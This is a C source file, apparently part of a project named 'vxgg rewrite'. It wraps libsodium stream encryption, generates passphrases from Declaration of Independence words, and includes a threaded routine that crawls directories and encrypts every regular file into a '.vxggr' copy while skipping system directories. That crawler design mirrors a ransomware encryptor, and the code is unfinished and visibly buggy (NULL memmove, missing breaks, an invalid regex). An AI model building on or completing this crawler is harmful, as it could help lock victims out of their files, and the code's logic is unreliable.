path: root/src/encryption.c

/**
 * @file encryption.c
 * @author syxhe (https://t.me/syxhe)
 * @brief A collection of all encryption related functions
 * @version 0.1
 * @date 2025-06-09
 *
 * @copyright Copyright (c) 2026, [Simplified BSD License](../../LICENSE)
 *
 */

#define _GNU_SOURCE 1

#ifndef __VXGG_REWRITE___ENCRYPTION_C___1481879318188___
#define __VXGG_REWRITE___ENCRYPTION_C___1481879318188___ 1

#define TPSIZE (1<<13)

#include "shared.c"
#include "threadpool.c"

#include <sodium.h>

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#include <dirent.h>
#include <stdarg.h>
#include <unistd.h>

#include <stdio.h>
#include <string.h>

#include <regex.h>

#include <errno.h>
#include <error.h>

/// Chunk size for encryption/decryption
#define CHUNKSIZE (1 << 9)

//! A list of possible words for password creation
#define PASSWORD_WORDS ((const char * const []){\
    "the", "of", "to", "and", "for", "our", "their", "has", "in", "he", "a", "them", "that", "these", "by", "have", "we", \
    "us", "people", "which", "all", "is", "with", "laws", "be", "are", "his", "states", "on", "they", "right", "it", "from", \
    "government", "such", "among", "powers", "most", "an", "time", "should", "new", "as", "been", "colonies", "assent", \
    "large", "at", "independent", "free", "united", "when", "mankind", "hold", "rights", "governments", "consent", "its", \
    "long", "themselves", "abolishing", "usurpations", "absolute", "repeated", "this", "world", "refused", "pass", "other", \
    "others", "without", "justice", "peace", "power", "seas", "war", "do", "declaration", "america", "becomes", "necessary", \
    "political", "equal", "declare", "causes", "separation", "men", "happiness", "any", "form", "alter", "or", "will", \
    "forms", "same", "object", "off", "necessity", "history", "great", "britain", "tyranny", "over", "public", "good", \
    "unless", "suspended", "so", "would", "legislature", "only", "legislative", "bodies", "purpose", "into", "dissolved", \
    "state", "endeavoured", "refusing", "hither", "conditions", "establishing", "offices", "out", "armies", "legislatures", \
    "render", "jurisdiction", "foreign", "acts", "pretended", "trial", "inhabitants", "cases", "transporting", "rule", \
    "declaring", "here", "protection", "against", "lives", "circumstances", "ages", "totally", "friends", "brethren", "whose", \
    "every", "may", "therefore", "ought", "unanimous", "thirteen", "course", "human", "events", "one", "dissolve", "bands", \
    "connected", "another", "assume", "earth", "separate", "station", "nature", "natures", "god", "entitle", "decent", \
    "respect", "opinions", "requires", "impel", "truths", "self", "evident", "created", "endowed", "creator", "certain", \
    "unalienable", "life", "liberty", "pursuit", "secure", "instituted", "deriving", "just", "governed", "whenever", \
    "destructive", "ends", "abolish", "institute", "laying", "foundation", "principles", "organizing", "shall", "seem", \
    "likely", "effect", "safety", "prudence", "indeed", "dictate", "established", "not", "changed", "light", "transient", \
    "accordingly", "experience", "hath", "shewn", "more", "disposed", "suffer", "while", "evils", "sufferable", "than", \
    "accustomed", "but", "train", "abuses", "pursuing", "invariably", "evinces", "design", "reduce", "under", "despotism", \
    "duty", "throw", "provide", "guards", "future", "security", "patient", "sufferance", "now", "constrains", "former", \
    "systems", "present", "king", "injuries", "having", "direct", "establishment", "prove", "let", "facts", "submitted", \
    "candid", "wholesome", "forbidden", "governors", "immediate", "pressing", "importance", "operation", "till", "obtained", \
    "utterly", "neglected", "attend", "accommodation", "districts", "those", "relinquish", "representation", "inestimable", \
    "formidable", "tyrants", "called", "together", "places", "unusual", "uncomfortable", "distant", "depository", "records", \
    "sole", "fatiguing", "compliance", "measures", "representative", "houses", "repeatedly", "opposing", "manly", "firmness", \
    "invasions", "after", "dissolutions", "cause", "elected", "whereby", "incapable", "annihilation", "returned", "exercise", \
    "remaining", "mean", "exposed", "dangers", "invasion", "convulsions", "within", "prevent", "population", "obstructing", \
    "naturalization", "foreigners", "encourage", "migrations", "raising", "appropriations", "lands", "obstructed", \
    "administration", "judiciary", "made", "judges", "dependent", "alone", "tenure", "amount", "payment", "salaries", \
    "erected", "multitude", "sent", "swarms", "officers", "harrass", "eat", "substance", "kept", "times", "standing", \
    "affected", "military", "superior", "civil", "combined", "subject", "constitution", "unacknowledged", "giving", \
    "legislation", "quartering", "armed", "troops", "protecting", "mock", "punishment", "murders", "commit", "cutting", \
    "trade", "parts", "imposing", "taxes", "depriving", "many", "benefits", "jury", "beyond", "tried", "offences", "system", \
    "english", "neighbouring", "province", "therein", "arbitrary", "enlarging", "boundaries", "once", "example", "fit", \
    "instrument", "introducing", "taking", "away", "charters", "valuable", "altering", "fundamentally", "suspending", "own", \
    "invested", "legislate", "whatsoever", "abdicated", "waging", "plundered", "ravaged", "coasts", "burnt", "towns", \
    "destroyed", "mercenaries", "compleat", "works", "death", "desolation", "already", "begun", "cruelty", "perfidy", \
    "scarcely", "paralleled", "barbarous", "unworthy", "head", "civilized", "nation", "constrained", "fellow", "citizens", \
    "taken", "captive", "high", "bear", "arms", "country", "become", "executioners", "fall", "hands", "excited", "domestic", \
    "insurrections", "amongst", "bring", "frontiers", "merciless", "indian", "savages", "known", "warfare", "undistinguished", \
    "destruction", "sexes", "stage", "oppressions", "petitioned", "redress", "humble", "terms", "petitions", "answered", \
    "injury", "prince", "character", "thus", "marked", "act", "define", "tyrant", "unfit", "ruler", "nor", "wanting", \
    "attentions", "brittish", "warned", "attempts", "extend", "unwarrantable", "reminded", "emigration", "settlement", \
    "appealed", "native", "magnanimity", "conjured", "ties", "common", "kindred", "disavow", "inevitably", "interrupt", \
    "connections", "correspondence", "too", "deaf", "voice", "consanguinity", "must", "acquiesce", "denounces", "rest", \
    "enemies", "representatives", "general", "congress", "assembled", "appealing", "supreme", "judge", "rectitude", \
    "intentions", "name", "authority", "solemnly", "publish", "absolved", "allegiance", "british", "crown", "connection", \
    "between", "full", "levy", "conclude", "contract", "alliances", "establish", "commerce", "things", "support", "firm", \
    "reliance", "divine", "providence", "mutually", "pledge", "each", "fortunes", "sacred", "honor"\
})
//! Short macro for getting the `PASSWORD_WORDS` array size
#define PASSWORD_WORDS_LEN (STATIC_ARRAY_LEN(PASSWORD_WORDS))

/**
 * @brief open() with the flags O_TMPFILE, O_WRONLY, O_CLOEXEC, and O_SYNC. Opened with mode S_IRUSR, S_IWUSR
 *
 * @param dest The filename the new descriptor should have. Must be non-null
 * @retval (int)[-1,int] A new file descriptor. -1 on error
 */
int maketmp(const char * const dest) {
    if(!dest) ERRRET(EINVAL, -1);
    return open(dest, (O_TMPFILE | O_WRONLY | O_CLOEXEC | O_SYNC), (S_IRUSR | S_IWUSR));
}

/**
 * @brief Link a file descriptor into the filesystem
 *
 * @param target New filename the descriptor should have
 * @param tgfd The file descriptor to link
 * @retval (int)[-1, 0] 0 on success, -1 on error
 */
int linkto(const char * const target, int tgfd) {
    if(!target || tgfd < 0) ERRRET(EINVAL, -1);
    if(access(target, F_OK) != -1) ERRRET(EEXIST, -1);

    char *path = NULL;
    int res = -1;

    asprintf(&path, "/proc/self/fd/%d", tgfd);
    if(!path) {WARN(errno, "<linkto> Couldn't get path to move file into system",); goto CLEANUP_linkto;}

    res = linkat(AT_FDCWD, path, AT_FDCWD, target, AT_SYMLINK_FOLLOW);

CLEANUP_linkto:
    free(path);
    return res;
}



/**
 * @brief Encrypt src to dst using libsodium's xchacha encryption suite
 *
 * @param src File to encrypt
 * @param dst Destination to write encrypted file
 * @param key Key for encryption
 * @retval (int)[-1, 0] Returns 0 on success, sets errno and returns -1 on error
 * @todo Rewrite this into being one of my own functions instead of copying from libsodium
 */
int encrypttofile(FILE *src, FILE *dst, const unsigned char key[crypto_secretstream_xchacha20poly1305_KEYBYTES]) {
    if(!src || !dst || !key) ERRRET(EINVAL, -1);

    unsigned char buf[CHUNKSIZE], cbuf[CHUNKSIZE + crypto_secretstream_xchacha20poly1305_ABYTES];
    unsigned char header[crypto_secretstream_xchacha20poly1305_HEADERBYTES];
    crypto_secretstream_xchacha20poly1305_state state;
    unsigned long long cbuflen;
    unsigned char tag;
    size_t bytesread;
    int eof;

    // Write the header
    crypto_secretstream_xchacha20poly1305_init_push(&state, header, key);
    if(fwrite(header, 1, sizeof(header), dst) < sizeof(header)) {
        if(ferror(dst)) {
            WARN(errno, "<encrypttofile> Could not write header",);
            return -1;
        }
    }

    // Encrypt each chunk
    do {
        if((bytesread = fread(buf, 1, sizeof(buf), src)) < sizeof(buf))
            if(ferror(src)) {
                WARN(errno, "<encrypttofile> Could not read from source",);
                return -1;
            }
        eof = feof(src);
        tag = eof ? crypto_secretstream_xchacha20poly1305_TAG_FINAL : 0;

        crypto_secretstream_xchacha20poly1305_push(&state, cbuf, &cbuflen, buf, bytesread, NULL, 0, tag);
        if(fwrite(cbuf, 1, (size_t)cbuflen, dst) < (size_t)cbuflen)
            if(ferror(dst)) {
                WARN(errno, "<encrypttofile> Could not write to target",);
                return -1;
            }
    } while (!eof);

    return 0;
}

/**
 * @brief Decrypt src to dst using libsodium's xchacha encryption suite
 *
 * @param src File to decrypt
 * @param dst Destination to write decrypted file
 * @param key Key used to encrypt
 * @retval (int)[-1, 0] Returns 0 on success, sets errno and returns -1 on error
 * @todo Rewrite this into being one of my own functions instead of copying from libsodium
 */
int decrypttofile(FILE *src, FILE *dst, const unsigned char key[crypto_secretstream_xchacha20poly1305_KEYBYTES]) {
    if(!src || !dst || !key) ERRRET(EINVAL, -1);

    unsigned char  cbuf[CHUNKSIZE + crypto_secretstream_xchacha20poly1305_ABYTES], buf[CHUNKSIZE];
    unsigned char  header[crypto_secretstream_xchacha20poly1305_HEADERBYTES];
    crypto_secretstream_xchacha20poly1305_state state;
    unsigned long long buflen;
    unsigned char  tag;
    size_t bytesread;
    int eof;

    // Read the header
    if(fread(header, 1, sizeof(header), src) < sizeof(header)) {
        if(ferror(src)) {
            WARN(errno, "<decrypttofile> Couldn't read header", );
            return -1;
        }
    }

    // Make sure the header isn't fuckey
    if(crypto_secretstream_xchacha20poly1305_init_pull(&state, header, key) != 0) {
        WARN(errno, "<decrypttofile> Incomplete header", );
        return -1;
    }

    // Decrypt each chunk
    do {
        if((bytesread = fread(cbuf, 1, sizeof(cbuf), src)) < sizeof(cbuf)) {
            if(ferror(src)) {
                WARN(errno, "<decrypttofile> Ran into problem reading for decryption", );
                return -1;
            }
        }
        eof = feof(src);

        if (crypto_secretstream_xchacha20poly1305_pull(&state, buf, &buflen, &tag, cbuf, bytesread, NULL, 0) != 0) {
            WARN(errno, "<decrypttofile> Corrupted chunk", );
            return -1;
        }

        if(tag == crypto_secretstream_xchacha20poly1305_TAG_FINAL && !eof) {
            WARN(errno, "<decrypttofile> End of stream before end of file", );
            return -1;
        }
        if(eof && tag != crypto_secretstream_xchacha20poly1305_TAG_FINAL) {
            WARN(errno, "<decrypttofile> End of file before end of stream", );
            return -1;
        }

        fwrite(buf, 1, (size_t)buflen, dst);
    } while(! eof);

    return 0;
}

/**
 * @brief Encrypt file at `target` to `output` using Linux's named temp file system to do it in the background
 *
 * @param target
 * @param output
 * @param key
 * @retval (int)[,]
 * @todo Fill out warning messages & documentation
 */
int encryptviatmp(const char * const target, const char * const output, const unsigned char key[crypto_secretstream_xchacha20poly1305_KEYBYTES]) {
    if(!target || !output || !key) ERRRET(EINVAL, -1);

    int fd = -1, tfd = -1, res = -1, eflag = 0;
    FILE *src, *dst;
    char *targetdir;

    // Open the target file
    if((fd = open(target, O_RDONLY)) < 0) {eflag = 1; goto CLEANUP_encryptviatmp;}

    // Create a temp file for writing
    targetdir = vxdirname(output);
    if(!targetdir) {eflag = 2; goto CLEANUP_encryptviatmp;}

    // Actually get the file descriptor for the temp file
    tfd = maketmp(targetdir);
    if(tfd < 0) {eflag = 3; goto CLEANUP_encryptviatmp;}

    // Create a FILE* version of the source fd
    if(!(src = fdopen(fd, "rb"))) {eflag = 4; goto CLEANUP_encryptviatmp;}

    // Create a FILE* version of the target fd
    if(!(dst = fdopen(tfd, "wb"))) {eflag = 5; goto CLEANUP_encryptviatmp;}

    // Do the encryption now that everything has been set up
    if(encrypttofile(src, dst, key) < 0) {eflag = 6; goto CLEANUP_encryptviatmp;}

    // Link the temp file into the system
    if(linkto(output, tfd) < 0) {eflag = 7; goto CLEANUP_encryptviatmp;}

    res = 0;

CLEANUP_encryptviatmp:
    if(___VXGG___VERBOSE_ERRORS___) {
        switch (eflag) {
            case 0: break;
            case 1: WARN(errno, "<encryptviatmp> Warning: Could not open target fd \"%s\"",, target);
            case 2: WARN(errno, "<encryptviatmp> Warning: Could not get real dirname for \"%s\"",, output);
            case 3: WARN(errno, "<encryptviatmp> Warning: Could not make temp file in target dir \"%s\"",, targetdir);
            case 4: WARN(errno, "<encryptviatmp> Warning: Could not get FILE* handle for source file \"%s\"",, target);
            case 5: WARN(errno, "<encryptviatmp> Warning: Could not get FILE* handle for output file",);
            case 6: ERROR(1, ENOTRECOVERABLE, "<encryptviatmp> ERROR: I don't even have a way to cause an error here. How did you do it?",);
            case 7: WARN(errno, "<encryptviatmp> Warning: Could not link \"%s\" into system after encryption",, output);
            default: WARN(0, "<encryptviatmp> Warning: Ran into some unknown error",);
        }
    }

    free(targetdir);
    fclose(src);
    fclose(dst);
    close(fd);
    close(tfd);

    return res;
}

/**
 * @brief Decrypt the file at `encrypted` to `target`
 *
 * @param encrypted
 * @param target
 * @param key
 * @retval (int)[,]
 * @todo Fill out documentation
 */
int decryptto(const char * const target, const char * const output, const unsigned char key[crypto_secretstream_xchacha20poly1305_KEYBYTES]) {
    if(!target || !output || !key) ERRRET(EINVAL, -1);

    FILE *src = NULL, *dst = NULL;
    int fdst = -1, eflag = -1, res = -1;

    // Open the source file
    if(!(src = fopen(target, "rb"))) {eflag = 0; goto CLEANUP_decryptto;}

    // Get a temp descriptor for the temp file
    if(!(fdst = maketmp(output))) {eflag = 1; goto CLEANUP_decryptto;}

    // Open a FILE* version of the temp file
    if(!(dst = fdopen(fdst, "wb"))) {eflag = 2; goto CLEANUP_decryptto;}

    // Follow through with the rest of the decryption
    if(decrypttofile(src, dst, key) < 0) {eflag = 3; goto CLEANUP_decryptto;}

    // Link temp into system
    if(linkto(output, fdst) < 0) {eflag = 4; goto CLEANUP_decryptto;}

    res = 0;

CLEANUP_decryptto:
    fclose(src);
    fclose(dst);
    close(fdst);

    if(___VXGG___VERBOSE_ERRORS___) {
        switch (eflag) {
            case 0: WARN(errno, "<decryptto> Could not open \"%s\" for decryption",, target);              break;
            case 1: WARN(errno, "<decryptto> Could not get temp file for decryption",);                    break;
            case 2: WARN(errno, "<decryptto> Could not open \"%s\" for writing decrypted data",, output);  break;
            case 3: ERROR(1, errno, "<decryptto> How did you even cause an error?",);                      break;
            case 4: WARN(errno, "<decryptto> Could not link \"%s\" into system",, output);                 break;
            default: WARN(errno, "<decryptto> Ran into an error",);                                        break;
        }
    }

    return res;
}

/**
 * @brief Generate a password viable for use in the derivation of a key
 *
 * @param str Pointer to a string. This will be filled by a malloc'ed string of words (the password). Must be non-null
 * @param words The number of words to include in the password. A password of at least 20 words and probably not more than 40 is recommended
 * @retval (int)[-1, words] On success, returns the number of words requested. On error, returns -1 and sets errno
 */
int genpassword(char **str, unsigned int words) {
    if(words < 1) return 0;
    if(!str) ERRRET(EINVAL, -1);

    // Bootstrap the first word
    char *lstr = NULL, *tmp = NULL;
    if(asprintf(&lstr, "%s", PASSWORD_WORDS[randombytes_uniform(PASSWORD_WORDS_LEN)]) < 0)
        return -1;

    // Concat the rest of the words into the password (without leaking memory)
    int ret;
    for(unsigned int i = 1; i < words; i++) {
        ret = asprintf(&tmp, "%s %s", lstr, PASSWORD_WORDS[randombytes_uniform(PASSWORD_WORDS_LEN)]);
        sodium_memzero(lstr, strlen(lstr) + 1);
        free(lstr);
        if(ret < 0)
            return -1;

        lstr = tmp;
    }

    *str = lstr;
    return words;
}


enum CRYPTSCAN_CRYPTMODE {
    CRYPTSCAN_CRYPTMODE__UNSPEC,
    CRYPTSCAN_CRYPTMODE__ENCRYPT,
    CRYPTSCAN_CRYPTMODE__DECRYPT,
    CRYPTSCAN_CRYPTMODE__TOOBIG
};

struct _cryptscan_args {
    char *fsentry;
    taskqueue *toscan;
    ctqueue *tocrypt;
    unsigned char *key;
    enum CRYPTSCAN_CRYPTMODE mode;
};

#define ENCRYPTED_EXT ".vxggr"
#define DEFAULT_IGNORED "^(\\.config|\\.bashrc|bin|dev|lib|root|boot|etc|lib32|run|sys|usr|home|lib64|proc|sbin|var)"

/// Workaround for scandir callback not letting me pass user arguments. Gross hack, but works
static enum CRYPTSCAN_CRYPTMODE _cryptscan__selector__csm = CRYPTSCAN_CRYPTMODE__UNSPEC;
/// TODO: Map out when this is supposed to change in the other cryptscan functions

/// Helper function to select files to be encrypted
static int _cryptscan__selector(const struct dirent *de) {
    // entries with non-zero returns get included, zeros get excluded
    if(!de) return 0;
    enum CRYPTSCAN_CRYPTMODE mode = _cryptscan__selector__csm;

    if(_cryptscan__selector__csm <= CRYPTSCAN_CRYPTMODE__UNSPEC || _cryptscan__selector__csm >= CRYPTSCAN_CRYPTMODE__TOOBIG) {
        if(___VXGG___VERBOSE_ERRORS___) WARN(ERANGE, "<_cryptscan__selector> Warning: Given mode is oob. Expected: [%d, %d], Got: %d",, CRYPTSCAN_CRYPTMODE__UNSPEC + 1, CRYPTSCAN_CRYPTMODE__TOOBIG - 1, mode);
        return 0;
    }

    // Initialize static values
    static regex_t *ereg = NULL, *dreg = NULL;
    if(ereg == NULL) {
        ereg = VXGG_CALLOC(1, sizeof(*ereg));
        dreg = VXGG_CALLOC(1, sizeof(*dreg));
        if(!ereg || !dreg) {
            if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__selector> Warning: Could not initialize regular expression memory, skipping scan of fs entity \"%s\"",, de->d_name);
            return 0;
        }

        /// TODO: Check return values. Free the pointers and set to zero on error so the initialization runs again
        regcomp(ereg, "\\" ENCRYPTED_EXT "|" DEFAULT_IGNORED, REG_EXTENDED | REG_ICASE | REG_NOSUB);
        regcomp(dreg, "^(?!.+\\" ENCRYPTED_EXT ").+$|" DEFAULT_IGNORED, REG_EXTENDED | REG_ICASE | REG_NOSUB);
    }

    return regexec((mode == CRYPTSCAN_CRYPTMODE__ENCRYPT) ? ereg : dreg, de->d_name, 0, NULL, 0);
}

void _cryptscan_args_free(void *data) {
    if(!data) return;
    struct _cryptscan_args *real = data;

    free(real->fsentry);
    free(real);
    return;
}

int _cryptscan__crypt(void *data);
int _cryptscan__scan(void *data);

/// helper function to deduplicate code for dealing with scandir. Scans the directory at `folder` and places dirents into their respective lists
int _cryptscan__process_scandir(const char * const folder, taskqueue *toscan, ctqueue *tocrypt, enum CRYPTSCAN_CRYPTMODE mode) {
    if(!folder || !toscan || !tocrypt || mode <= CRYPTSCAN_CRYPTMODE__UNSPEC || mode >= CRYPTSCAN_CRYPTMODE__TOOBIG) return -1;

    int res = 0;
    struct dirent **namelist = NULL;
    int entries = scandir(folder, &namelist, _cryptscan__selector, alphasort);
    if(!toscan || !tocrypt || entries < 0) {res = -1; goto _cryptscan__process_scandir_CLEANUP;}

    struct stat sb;
    task *tmptsk = NULL;
    struct _cryptscan_args *args = NULL; char tflag = 0;
    for(int i = 0; i < entries; i++) {
        args = VXGG_CALLOC(1, sizeof(*args));
        if(!args) {
            if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not create arg holder for task",);
        }
        args->fsentry = strdup(namelist[i]->d_name);
        args->tocrypt = tocrypt;
        args->toscan = toscan;
        args->mode = mode;
        if(!args->fsentry) {if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not duplicate file \"%s\"s name for processing",, namelist[i]->d_name); continue;}

        switch(namelist[i]->d_type) {
            // Try to stat the file if it's unknown
            case DT_UNKNOWN:
            if(stat(namelist[i]->d_name, &sb) < 0) goto UNKNOWN;
            if(S_ISDIR(sb.st_mode)) goto SCAN;
            if(S_ISREG(sb.st_mode)) goto CRYPT;
            break;


            // Add it to the ctq
            case DT_REG: CRYPT:
            tmptsk = task_new(_cryptscan__crypt, _cryptscan_args_free, args);
            if(!tmptsk) {
                if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not generate crypt task for \"%s\"",, args->fsentry);
                break;
            }

            if(ctqueue_waitpush(tocrypt, tmptsk) < 0) {
                if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not add crypt task to ctq",);
                task_free(tmptsk);
                break;
            }

            res++;
            tflag++;
            break;


            // Add it to the scanlist
            case DT_DIR: SCAN:
            tmptsk = task_new(_cryptscan__scan, _cryptscan_args_free, args);
            if(!tmptsk) {
                if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not generate scan task for \"%s\"",, args->fsentry);
                break;
            }

            if(taskqueue_push(toscan, tmptsk) < 0) {
                if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not add scan task to scanlist",);
                task_free(tmptsk);
                break;
            }

            res++;
            tflag++;
            break;


            // Ignore or spit out a warning
            default: UNKNOWN:
            if(___VXGG___VERBOSE_ERRORS___)
                WARN(ENOSYS, "<_cryptscan__process_scandir> Info: file \"%s\"s type is unsupported",, namelist[i]->d_name);
            break;
        }
        if(!tflag) _cryptscan_args_free(args);
        tflag = 0;
    }

_cryptscan__process_scandir_CLEANUP:
    for(int i = 0; i < entries; i++) {
        free(namelist[i]);
    }
    free(namelist);

    return res;
}

int _cryptscan__scan(void *data) {
    if(!data) return -1;
    struct _cryptscan_args *real = data;
    return _cryptscan__process_scandir(real->fsentry, real->toscan, real->tocrypt, real->mode);
}

/// TODO: Implement
int _cryptscan__crypt(void *data) {
    if(!data) return -1;

    struct _cryptscan_args *real = data;
    char *target = NULL, *output = NULL;

    // Read data for filename & crypt mode to run the task
    int (*fp)(const char *const, const char *const, const unsigned char *) = (real->mode == CRYPTSCAN_CRYPTMODE__ENCRYPT) ? encryptviatmp : decryptto;

    // If encrypting, take filename and append .vxggr to end. If decrypting, find .vxggr extension and truncate
    target = real->fsentry;
    output = (real->mode == CRYPTSCAN_CRYPTMODE__ENCRYPT) ? vxgg_sstrcat(target, ".vxggr") : memmove(output, target, strlen(target) - 6);
    /// TODO: Keep track of the concat'ed name and free it once it's done being used

    return fp(target, output, real->key);
}

ctqueue * cryptscan(int threads, const char * const start, enum CRYPTSCAN_CRYPTMODE mode) {
    if(!start || threads < 1 || mode <= CRYPTSCAN_CRYPTMODE__UNSPEC || mode >= CRYPTSCAN_CRYPTMODE__TOOBIG) return NULL;

    taskqueue *toscan = taskqueue_new();
    ctqueue *tocrypt = ctqueue_init(threads);

    // Initialize the lists
    if(_cryptscan__process_scandir(start, toscan, tocrypt, mode) < 1) goto cryptscan_ERR;

    // Loop through the scanlist until it's empty
    while(taskqueue_size(toscan) > 0) {
        task_fired(taskqueue_pop(toscan));
    }

    taskqueue_free(toscan);
    return tocrypt;

cryptscan_ERR:
    taskqueue_free(toscan);
    ctqueue_free(tocrypt);

    return NULL;
}

#endif